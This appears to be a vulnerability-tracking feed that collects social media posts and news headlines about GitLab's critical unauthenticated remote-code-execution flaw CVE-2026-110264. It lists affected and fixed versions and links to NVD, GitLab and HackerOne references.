social mastobot.ping.moi @cyberveille 2026-10-22 03:30 UTC📢 [VULN] ⚠️Faille critique GitLab CVE-2026-110264 (CVSS 10) : correctifs Le 21 octobre 2026, GitLab corrige CVE-2026-110264, une exécution de code à distance sans authentification notée 10.0 qui touche toutes les versions de GitLab CE et E…Open source
-
social bsky.app @abijita.bsky.social 2026-10-22 03:29 UTCGitLab Patches Critical CVSS 10.0 Vulnerability Affecting Versions Since 2014 GitLab has patched CVE-2026-110264, a critical CVSS 10.0 vulnerability that could allow unauthenticated attackers to execute code on self-managed servers. The fl…Open source
-
social bsky.app @index.fomoera.com.ap.brid.gy 2026-10-22 03:20 UTCLos servidores autogestionados requieren nuevos parches. La actualización del 12 de octubre cubría otra vulnerabilidad.Open source
-
social bsky.app @hgvcid.bsky.social 2026-10-22 02:46 UTCx.com/TheHackersNe...Open source
-
social bsky.app @infosec.skyfleet.blue 2026-10-22 02:37 UTC12-Year-Old GitLab Vulnerability Allows Remote Code Execution on Self-Managed ServerOpen source
-
social bsky.app @joemenn.bsky.social 2026-10-22 02:31 UTCAnd its not even a Tuesday. thehackernews.com/2026/10/crit...Open source
-
social bsky.app @newsfacts.bsky.social 2026-10-22 02:30 UTCGevaarlijke kwetsbaarheid in GitLab maakt ongeautoriseerde code-uitvoering mogel Een ernstige kwetsbaarheid, aangeduid als CVE-2026-110264, is ontdekt in GitLab, die aanvallers toestaat code uit te voeren op zelf beheerde servers zonder en…Open source
-
news cybersecuritynews.com 2026-10-22 02:10 UTC12-Year-Old GitLab Vulnerability Allows Remote Code Execution on Self-Managed Server - CyberSecurityNewsOpen source
-
social bsky.app @stemshop.bsky.social 2026-10-22 02:07 UTC🚨 CVE-2026-110264 — CVSS 10 CRITICAL An issue has been discovered in GitLab CE/EE affecting all versions from 7.0 before 18.11.13, 19.0 before 1... 🔎 https://stemshop.top/cve/CVE-2026-110264 #CVE #CyberSecurity #InfoSecOpen source
-
social bsky.app @liqena.com 2026-10-22 01:44 UTCGitLab CVE-2026-110264 (CVSS 10.0): unauthenticated RCE on self-managed CE/EE, every version back to 7.0. Fixed Oct 21; no workaround. The Oct 12 patch isn't enough. GitLab.com/Dedicated already patched. #cyber Data and analysis, not inves…Open source
-
social bsky.app @kikta.net 2026-10-22 01:37 UTCSure, why not thehackernews.com/2026/10/crit...Open source
-
news news.lavx.hu 2026-10-22 01:37 UTCPHP maintainers fault Chainguard over early PHP2shell patch release - news.lavx.huOpen source
-
social bsky.app @aiuto-ch.bsky.social 2026-10-22 01:31 UTCCVE Radar | CVE-2026-110264 | CVSS 10.0 Critical GitLab Regular Expression Code Execution CVE-2026-110264 affects GitLab Community Edition and Enterprise Edition across the version ranges identified by NVD, including releases before… Full…Open source
-
social bsky.app @suriq.io 2026-10-22 01:03 UTCCVE-2026-110264: GitLab patched a critical (CVSS 10.0) integer overflow in GitLab CE/EE that could let an unauthenticated user run arbitrary code via a crafted regular expression. Fixed in 19.5.1, 19.4.3, 19.3.6, 19.2.9, 19.1.9, 19.0.10 an…Open source
-
social bsky.app @mg4h.bsky.social 2026-10-22 00:53 UTCI see the double event has become a triple event. Sympathies to everyone who ain't done patching. Toss a pizza slice and caffeine to your sysadmin, they're running on fumes by now. thehackernews.com/2026/10/crit...Open source
-
social infosec.exchange @cve 2026-10-22 00:48 UTCCVE-2026-110264 Integer Overflow or Wraparound in GitLab An issue has been discovered in GitLab CE/EE affecting all versions from 7.0 before 18.11.13, 19.0 before 19.0.10, 19.1 before 19.1.9, 19.2 before 19.2.9, 19.3 before 19.3.6, 19.4 be…Open source
-
news news.lavx.hu 2026-10-22 00:34 UTCSignal bug left microphones and cameras active after calls ended - news.lavx.huOpen source
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-110264 |
| gitlab.com |
GitHub CVE
|
https://gitlab.com/gitlab-org/gitlab/-/work_items/633633 |
| hackerone.com |
GitHub CVE
technical-description
exploit
permissions-required
|
https://hackerone.com/reports/4093475 |
| docs.gitlab.com |
GitHub CVE
|
https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-5-1-released/ |